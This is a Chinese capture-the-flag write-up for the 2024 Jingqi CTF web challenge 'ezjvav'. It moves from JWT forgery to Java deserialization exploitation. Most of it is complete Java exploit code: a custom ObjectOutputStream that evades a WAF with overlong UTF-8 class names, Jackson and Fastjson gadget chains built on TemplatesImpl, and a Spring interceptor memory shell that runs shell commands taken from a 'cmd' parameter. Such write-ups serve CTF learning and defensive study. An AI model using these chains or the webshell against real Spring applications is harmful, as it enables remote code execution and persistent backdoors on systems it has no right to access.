【Web】2024 京麒CTF ezjvav题解

前端 0

目录

step 0 

step 1 

step 2

EXP1

EXP2


step 0 

进来是一个登录框

admin/admin成功登录

访问./source

 

jwt伪造 

带着伪造的jwt访问./source,拿到题目源码jar包

step 1 

pom依赖有spring、fj、rome

反序列化入口在./Jsrc路由

有两层waf,一个是明文流量层面的检测,一个是反序列化过程的检测,前者可以自定义输出流改写序列化数据绕过

流量层面关于序列化数据明文绕过

waf部分,只看前者的话,就是ban掉了Rome的一些打法

可以打jackson原生反序列化

EventListenerList.readObject -> POJONode.toString -> TemplatesImpl.getOutputProperties

Jackson原生反序列化

处理Jackson链子不稳定性

也可以打fastjson原生反序列化

HashMap.readObject->HashMap.putVal->HotSwappableTargetSource.equals->XString.equals->JSONArray.toString-> JSONArray#toJSONString -> TemplatesImpl.getOutputProperties

FastJson原生反序列化

step 2

EXP1

自定义输出流

package com.example.jsrc.exp;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;public class CustomObjectOutputStream extends ObjectOutputStream {    private static HashMap<Character, int[]> map;    static {        map = new HashMap<>();        map.put('.', new int[]{0xc0, 0xae});        map.put(';', new int[]{0xc0, 0xbb});        map.put('$', new int[]{0xc0, 0xa4});        map.put('[', new int[]{0xc1, 0x9b});        map.put(']', new int[]{0xc1, 0x9d});        map.put('a', new int[]{0xc1, 0xa1});        map.put('b', new int[]{0xc1, 0xa2});        map.put('c', new int[]{0xc1, 0xa3});        map.put('d', new int[]{0xc1, 0xa4});        map.put('e', new int[]{0xc1, 0xa5});        map.put('f', new int[]{0xc1, 0xa6});        map.put('g', new int[]{0xc1, 0xa7});        map.put('h', new int[]{0xc1, 0xa8});        map.put('i', new int[]{0xc1, 0xa9});        map.put('j', new int[]{0xc1, 0xaa});        map.put('k', new int[]{0xc1, 0xab});        map.put('l', new int[]{0xc1, 0xac});        map.put('m', new int[]{0xc1, 0xad});        map.put('n', new int[]{0xc1, 0xae});        map.put('o', new int[]{0xc1, 0xaf}); // 0x6f        map.put('p', new int[]{0xc1, 0xb0});        map.put('q', new int[]{0xc1, 0xb1});        map.put('r', new int[]{0xc1, 0xb2});        map.put('s', new int[]{0xc1, 0xb3});        map.put('t', new int[]{0xc1, 0xb4});        map.put('u', new int[]{0xc1, 0xb5});        map.put('v', new int[]{0xc1, 0xb6});        map.put('w', new int[]{0xc1, 0xb7});        map.put('x', new int[]{0xc1, 0xb8});        map.put('y', new int[]{0xc1, 0xb9});        map.put('z', new int[]{0xc1, 0xba});        map.put('A', new int[]{0xc1, 0x81});        map.put('B', new int[]{0xc1, 0x82});        map.put('C', new int[]{0xc1, 0x83});        map.put('D', new int[]{0xc1, 0x84});        map.put('E', new int[]{0xc1, 0x85});        map.put('F', new int[]{0xc1, 0x86});        map.put('G', new int[]{0xc1, 0x87});        map.put('H', new int[]{0xc1, 0x88});        map.put('I', new int[]{0xc1, 0x89});        map.put('J', new int[]{0xc1, 0x8a});        map.put('K', new int[]{0xc1, 0x8b});        map.put('L', new int[]{0xc1, 0x8c});        map.put('M', new int[]{0xc1, 0x8d});        map.put('N', new int[]{0xc1, 0x8e});        map.put('O', new int[]{0xc1, 0x8f});        map.put('P', new int[]{0xc1, 0x90});        map.put('Q', new int[]{0xc1, 0x91});        map.put('R', new int[]{0xc1, 0x92});        map.put('S', new int[]{0xc1, 0x93});        map.put('T', new int[]{0xc1, 0x94});        map.put('U', new int[]{0xc1, 0x95});        map.put('V', new int[]{0xc1, 0x96});        map.put('W', new int[]{0xc1, 0x97});        map.put('X', new int[]{0xc1, 0x98});        map.put('Y', new int[]{0xc1, 0x99});        map.put('Z', new int[]{0xc1, 0x9a});    }    public CustomObjectOutputStream(OutputStream out) throws IOException {        super(out);    }    @Override    protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {        String name = desc.getName();//        writeUTF(desc.getName());        writeShort(name.length() * 2);        for (int i = 0; i < name.length(); i++) {            char s = name.charAt(i);//            System.out.println(s);            write(map.get(s)[0]);            write(map.get(s)[1]);        }        writeLong(desc.getSerialVersionUID());        try {            byte flags = 0;            if ((boolean)getFieldValue(desc,"externalizable")) {                flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;                Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");                protocolField.setAccessible(true);                int protocol = (int) protocolField.get(this);                if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {                    flags |= ObjectStreamConstants.SC_BLOCK_DATA;                }            } else if ((boolean)getFieldValue(desc,"serializable")){                flags |= ObjectStreamConstants.SC_SERIALIZABLE;            }            if ((boolean)getFieldValue(desc,"hasWriteObjectData")) {                flags |= ObjectStreamConstants.SC_WRITE_METHOD;            }            if ((boolean)getFieldValue(desc,"isEnum") ) {                flags |= ObjectStreamConstants.SC_ENUM;            }            writeByte(flags);            ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc,"fields");            writeShort(fields.length);            for (int i = 0; i < fields.length; i++) {                ObjectStreamField f = fields[i];                writeByte(f.getTypeCode());                writeUTF(f.getName());                if (!f.isPrimitive()) {                    Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class);                    writeTypeString.setAccessible(true);                    writeTypeString.invoke(this,f.getTypeString());//                    writeTypeString(f.getTypeString());                }            }        } catch (NoSuchFieldException e) {            throw new RuntimeException(e);        } catch (IllegalAccessException e) {            throw new RuntimeException(e);        } catch (NoSuchMethodException e) {            throw new RuntimeException(e);        } catch (InvocationTargetException e) {            throw new RuntimeException(e);        }    }    public static Object getFieldValue(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {        Class<?> clazz = object.getClass();        Field field = clazz.getDeclaredField(fieldName);        field.setAccessible(true);        Object value = field.get(object);        return value;    }}

JSON链

package com.example.jsrc.exp;import com.example.jsrc.func.ByteCompare;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.springframework.aop.framework.AdvisedSupport;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.Vector;public class JSON {    public static void main(String[] args) throws Exception {        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");        ctClass.removeMethod(writeReplace);        ctClass.toClass();        POJONode node = new POJONode(makeTemplatesImplAopProxy());        serialize(readObject2toString(node));    }    public static Field getField(final Class<?> clazz, final String fieldName) {        Field field = null;        try {            field = clazz.getDeclaredField(fieldName);            field.setAccessible(true);        } catch (NoSuchFieldException ex) {            if (clazz.getSuperclass() != null)                field = getField(clazz.getSuperclass(), fieldName);        }        return field;    }    public static Object getValue(Object obj, String name) throws Exception {        Field field = getField(obj.getClass(), name);        return field.get(obj);    }    public static void setValue(Object obj, String name, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }    public static Object readObject2toString(Object obj) throws Exception {        EventListenerList list = new EventListenerList();        UndoManager manager = new UndoManager();        Vector vector = (Vector)getValue(manager, "edits");        vector.add(obj);        setValue(list, "listenerList", new Object[]{InternalError.class, manager});        return list;    }    public static void setFieldValue(Object obj, String name, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }    public static void serialize(Object o) throws Exception {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(o);        oos.close();        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));        ByteCompare byteCompare = new ByteCompare();        byteCompare.Compared(baos.toByteArray());    }    public static Object makeTemplatesImplAopProxy() throws Exception {        AdvisedSupport advisedSupport = new AdvisedSupport();        advisedSupport.setTarget(makeTemplatesImpl());        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);        constructor.setAccessible(true);        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);        return proxy;    }    public static Object makeTemplatesImpl() throws Exception {        byte[] bytes1 = ClassPool.getDefault().get("com.example.jsrc.exp.EvilInterceptor").toBytecode();        byte[][] bytes = new byte[][]{bytes1};        TemplatesImpl templates = TemplatesImpl.class.newInstance();        setFieldValue(templates, "_bytecodes", bytes);        setFieldValue(templates, "_name", "test");        return templates;    }}

内存马 

package com.example.jsrc.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.InputStream;import java.lang.reflect.Field;import java.util.List;import java.util.Scanner;public class EvilInterceptor extends AbstractTranslet implements HandlerInterceptor {    static {        System.out.println("Start");        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        Field field = null;        try {            field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        } catch (NoSuchFieldException e) {            e.printStackTrace();        }        field.setAccessible(true);        List<HandlerInterceptor> adaptInterceptors = null;        try {            adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);        } catch (IllegalAccessException e) {            e.printStackTrace();        }        EvilInterceptor evilInterceptor = new EvilInterceptor();        adaptInterceptors.add(evilInterceptor);        System.out.println("Inject Success");    }    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        if (request.getParameter("cmd") != null) {            try {                boolean isLinux = true;                String osTyp = System.getProperty("os.name");                if (osTyp != null && osTyp.toLowerCase().contains("win")) {                    isLinux = false;                }                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                Scanner s = new Scanner(in).useDelimiter("//A");                String output = s.hasNext() ? s.next() : "";                response.getWriter().write(output);                response.getWriter().flush();                response.getWriter().close();            } catch (Exception e) {                e.printStackTrace();            }            return false;        }        return true;    }    @Override    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);    }    @Override    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

打入TemplatesImpl后

请求/?cmd=sudo cat /flag拿到flag

EXP2

另外附上,在打入TemplatesImpl的部分,fj原生反序列化的打法

package com.example.jsrc.exp;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import org.springframework.aop.target.HotSwappableTargetSource;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class EXP {    public static void main(String[] args) throws Exception {        TemplatesImpl templatesimpl = new TemplatesImpl();        byte[] bytecodes = Files.readAllBytes(Paths.get("C://Users//21135//Desktop//jsrc//target//classes//com//example//jsrc//exp//Evil.class"));        setValue(templatesimpl,"_name","xxx");        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());        JSONArray jsonArray = new JSONArray();        jsonArray.add(templatesimpl);        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));        Map<Object, Object> hashMap = makeMap(h1, h1, h2, h2);        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new CustomObjectOutputStream(baos);        oos.writeObject(hashMap);        oos.close();//        // 使用 Base64 编码        String serializedData = Base64.getEncoder().encodeToString(baos.toByteArray());        System.out.println(serializedData);////        ObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));//        Object o = (Object) ois.readObject();    }        public static Map<Object, Object> makeMap(Object key1, Object value1, Object key2, Object value2) throws Exception {            HashMap<Object, Object> map = new HashMap<>();            // 设置size为2            setValue(map, "size", 2);            // 构造Node1            Class<?> nodeClazz = Class.forName("java.util.HashMap$Node");            Constructor<?> nodeCons = nodeClazz.getDeclaredConstructor(int.class, Object.class, Object.class, nodeClazz);            nodeCons.setAccessible(true);            Object node1 = nodeCons.newInstance(0, key1, value1, null);            // 构造Node2            Object node2 = nodeCons.newInstance(0, key2, value2, null);            // 构造tables            Object tbl = Array.newInstance(nodeClazz, 2);            Array.set(tbl, 0, node1);            Array.set(tbl, 1, node2);            setValue(map, "table", tbl);            return map;        }        public static void setValue(Object obj, String name, Object value) throws Exception{            Field field = obj.getClass().getDeclaredField(name);            field.setAccessible(true);            field.set(obj, value);        }}

也许您对下面的内容还感兴趣: